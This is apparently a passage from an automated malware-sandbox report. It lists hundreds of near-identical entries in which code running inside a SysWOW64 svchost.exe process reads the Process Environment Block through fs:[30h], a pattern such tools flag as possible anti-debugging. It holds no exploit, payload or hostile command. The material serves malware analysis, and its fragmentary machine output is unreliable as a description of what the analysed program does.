Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6674D mov eax, dword ptr fs:[00000030h]	7_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30750 mov eax, dword ptr fs:[00000030h]	7_2_03C30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBE75D mov eax, dword ptr fs:[00000030h]	7_2_03CBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72750 mov eax, dword ptr fs:[00000030h]	7_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72750 mov eax, dword ptr fs:[00000030h]	7_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB4755 mov eax, dword ptr fs:[00000030h]	7_2_03CB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38770 mov eax, dword ptr fs:[00000030h]	7_2_03C38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770 mov eax, dword ptr fs:[00000030h]	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C700 mov eax, dword ptr fs:[00000030h]	7_2_03C6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30710 mov eax, dword ptr fs:[00000030h]	7_2_03C30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C60710 mov eax, dword ptr fs:[00000030h]	7_2_03C60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C720 mov eax, dword ptr fs:[00000030h]	7_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C720 mov eax, dword ptr fs:[00000030h]	7_2_03C6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6273C mov eax, dword ptr fs:[00000030h]	7_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6273C mov ecx, dword ptr fs:[00000030h]	7_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6273C mov eax, dword ptr fs:[00000030h]	7_2_03C6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAC730 mov eax, dword ptr fs:[00000030h]	7_2_03CAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A6C7 mov ebx, dword ptr fs:[00000030h]	7_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A6C7 mov eax, dword ptr fs:[00000030h]	7_2_03C6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	7_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	7_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	7_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE6F2 mov eax, dword ptr fs:[00000030h]	7_2_03CAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	7_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB06F1 mov eax, dword ptr fs:[00000030h]	7_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C34690 mov eax, dword ptr fs:[00000030h]	7_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C34690 mov eax, dword ptr fs:[00000030h]	7_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C6A6 mov eax, dword ptr fs:[00000030h]	7_2_03C6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C666B0 mov eax, dword ptr fs:[00000030h]	7_2_03C666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4C640 mov eax, dword ptr fs:[00000030h]	7_2_03C4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF866E mov eax, dword ptr fs:[00000030h]	7_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF866E mov eax, dword ptr fs:[00000030h]	7_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A660 mov eax, dword ptr fs:[00000030h]	7_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A660 mov eax, dword ptr fs:[00000030h]	7_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C62674 mov eax, dword ptr fs:[00000030h]	7_2_03C62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE609 mov eax, dword ptr fs:[00000030h]	7_2_03CAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4260B mov eax, dword ptr fs:[00000030h]	7_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4260B mov eax, dword ptr fs:[00000030h]	7_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4260B mov eax, dword ptr fs:[00000030h]	7_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4260B mov eax, dword ptr fs:[00000030h]	7_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4260B mov eax, dword ptr fs:[00000030h]	7_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4260B mov eax, dword ptr fs:[00000030h]	7_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4260B mov eax, dword ptr fs:[00000030h]	7_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C72619 mov eax, dword ptr fs:[00000030h]	7_2_03C72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E627 mov eax, dword ptr fs:[00000030h]	7_2_03C4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C66620 mov eax, dword ptr fs:[00000030h]	7_2_03C66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C68620 mov eax, dword ptr fs:[00000030h]	7_2_03C68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3262C mov eax, dword ptr fs:[00000030h]	7_2_03C3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E5CF mov eax, dword ptr fs:[00000030h]	7_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E5CF mov eax, dword ptr fs:[00000030h]	7_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C365D0 mov eax, dword ptr fs:[00000030h]	7_2_03C365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]	7_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]	7_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]	7_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C325E0 mov eax, dword ptr fs:[00000030h]	7_2_03C325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C5ED mov eax, dword ptr fs:[00000030h]	7_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C5ED mov eax, dword ptr fs:[00000030h]	7_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32582 mov eax, dword ptr fs:[00000030h]	7_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32582 mov ecx, dword ptr fs:[00000030h]	7_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C64588 mov eax, dword ptr fs:[00000030h]	7_2_03C64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E59C mov eax, dword ptr fs:[00000030h]	7_2_03C6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	7_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	7_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB05A7 mov eax, dword ptr fs:[00000030h]	7_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C545B1 mov eax, dword ptr fs:[00000030h]	7_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C545B1 mov eax, dword ptr fs:[00000030h]	7_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38550 mov eax, dword ptr fs:[00000030h]	7_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38550 mov eax, dword ptr fs:[00000030h]	7_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6656A mov eax, dword ptr fs:[00000030h]	7_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6656A mov eax, dword ptr fs:[00000030h]	7_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6656A mov eax, dword ptr fs:[00000030h]	7_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC6500 mov eax, dword ptr fs:[00000030h]	7_2_03CC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04500 mov eax, dword ptr fs:[00000030h]	7_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04500 mov eax, dword ptr fs:[00000030h]	7_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04500 mov eax, dword ptr fs:[00000030h]	7_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04500 mov eax, dword ptr fs:[00000030h]	7_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04500 mov eax, dword ptr fs:[00000030h]	7_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04500 mov eax, dword ptr fs:[00000030h]	7_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04500 mov eax, dword ptr fs:[00000030h]	7_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40535 mov eax, dword ptr fs:[00000030h]	7_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40535 mov eax, dword ptr fs:[00000030h]	7_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40535 mov eax, dword ptr fs:[00000030h]	7_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40535 mov eax, dword ptr fs:[00000030h]	7_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40535 mov eax, dword ptr fs:[00000030h]	7_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40535 mov eax, dword ptr fs:[00000030h]	7_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E53E mov eax, dword ptr fs:[00000030h]	7_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E53E mov eax, dword ptr fs:[00000030h]	7_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E53E mov eax, dword ptr fs:[00000030h]	7_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E53E mov eax, dword ptr fs:[00000030h]	7_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E53E mov eax, dword ptr fs:[00000030h]	7_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C304E5 mov ecx, dword ptr fs:[00000030h]	7_2_03C304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEA49A mov eax, dword ptr fs:[00000030h]	7_2_03CEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C364AB mov eax, dword ptr fs:[00000030h]	7_2_03C364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C644B0 mov ecx, dword ptr fs:[00000030h]	7_2_03C644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBA4B0 mov eax, dword ptr fs:[00000030h]	7_2_03CBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E443 mov eax, dword ptr fs:[00000030h]	7_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEA456 mov eax, dword ptr fs:[00000030h]	7_2_03CEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2645D mov eax, dword ptr fs:[00000030h]	7_2_03C2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5245A mov eax, dword ptr fs:[00000030h]	7_2_03C5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBC460 mov ecx, dword ptr fs:[00000030h]	7_2_03CBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5A470 mov eax, dword ptr fs:[00000030h]	7_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5A470 mov eax, dword ptr fs:[00000030h]	7_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5A470 mov eax, dword ptr fs:[00000030h]	7_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C68402 mov eax, dword ptr fs:[00000030h]	7_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C68402 mov eax, dword ptr fs:[00000030h]	7_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C68402 mov eax, dword ptr fs:[00000030h]	7_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2E420 mov eax, dword ptr fs:[00000030h]	7_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2E420 mov eax, dword ptr fs:[00000030h]	7_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2E420 mov eax, dword ptr fs:[00000030h]	7_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2C427 mov eax, dword ptr fs:[00000030h]	7_2_03C2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6420 mov eax, dword ptr fs:[00000030h]	7_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6420 mov eax, dword ptr fs:[00000030h]	7_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6420 mov eax, dword ptr fs:[00000030h]	7_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6420 mov eax, dword ptr fs:[00000030h]	7_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6420 mov eax, dword ptr fs:[00000030h]	7_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6420 mov eax, dword ptr fs:[00000030h]	7_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6420 mov eax, dword ptr fs:[00000030h]	7_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A430 mov eax, dword ptr fs:[00000030h]	7_2_03C6A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C50BCB mov eax, dword ptr fs:[00000030h]	7_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C50BCB mov eax, dword ptr fs:[00000030h]	7_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C50BCB mov eax, dword ptr fs:[00000030h]	7_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30BCD mov eax, dword ptr fs:[00000030h]	7_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30BCD mov eax, dword ptr fs:[00000030h]	7_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30BCD mov eax, dword ptr fs:[00000030h]	7_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDEBD0 mov eax, dword ptr fs:[00000030h]	7_2_03CDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	7_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	7_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38BF0 mov eax, dword ptr fs:[00000030h]	7_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5EBFC mov eax, dword ptr fs:[00000030h]	7_2_03C5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBCBF0 mov eax, dword ptr fs:[00000030h]	7_2_03CBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40BBE mov eax, dword ptr fs:[00000030h]	7_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40BBE mov eax, dword ptr fs:[00000030h]	7_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]	7_2_03CE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4BB0 mov eax, dword ptr fs:[00000030h]	7_2_03CE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4B4B mov eax, dword ptr fs:[00000030h]	7_2_03CE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4B4B mov eax, dword ptr fs:[00000030h]	7_2_03CE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC6B40 mov eax, dword ptr fs:[00000030h]	7_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC6B40 mov eax, dword ptr fs:[00000030h]	7_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFAB40 mov eax, dword ptr fs:[00000030h]	7_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD8B42 mov eax, dword ptr fs:[00000030h]	7_2_03CD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDEB50 mov eax, dword ptr fs:[00000030h]	7_2_03CDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2CB7E mov eax, dword ptr fs:[00000030h]	7_2_03C2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAEB1D mov eax, dword ptr fs:[00000030h]	7_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5EB20 mov eax, dword ptr fs:[00000030h]	7_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5EB20 mov eax, dword ptr fs:[00000030h]	7_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF8B28 mov eax, dword ptr fs:[00000030h]	7_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF8B28 mov eax, dword ptr fs:[00000030h]	7_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C86ACC mov eax, dword ptr fs:[00000030h]	7_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C86ACC mov eax, dword ptr fs:[00000030h]	7_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C86ACC mov eax, dword ptr fs:[00000030h]	7_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30AD0 mov eax, dword ptr fs:[00000030h]	7_2_03C30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C64AD0 mov eax, dword ptr fs:[00000030h]	7_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C64AD0 mov eax, dword ptr fs:[00000030h]	7_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6AAEE mov eax, dword ptr fs:[00000030h]	7_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6AAEE mov eax, dword ptr fs:[00000030h]	7_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80 mov eax, dword ptr fs:[00000030h]	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D04A80 mov eax, dword ptr fs:[00000030h]	7_2_03D04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C68A90 mov edx, dword ptr fs:[00000030h]	7_2_03C68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38AA0 mov eax, dword ptr fs:[00000030h]	7_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38AA0 mov eax, dword ptr fs:[00000030h]	7_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C86AA4 mov eax, dword ptr fs:[00000030h]	7_2_03C86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36A50 mov eax, dword ptr fs:[00000030h]	7_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36A50 mov eax, dword ptr fs:[00000030h]	7_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36A50 mov eax, dword ptr fs:[00000030h]	7_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36A50 mov eax, dword ptr fs:[00000030h]	7_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36A50 mov eax, dword ptr fs:[00000030h]	7_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36A50 mov eax, dword ptr fs:[00000030h]	7_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36A50 mov eax, dword ptr fs:[00000030h]	7_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40A5B mov eax, dword ptr fs:[00000030h]	7_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40A5B mov eax, dword ptr fs:[00000030h]	7_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	7_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	7_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6CA6F mov eax, dword ptr fs:[00000030h]	7_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDEA60 mov eax, dword ptr fs:[00000030h]	7_2_03CDEA60
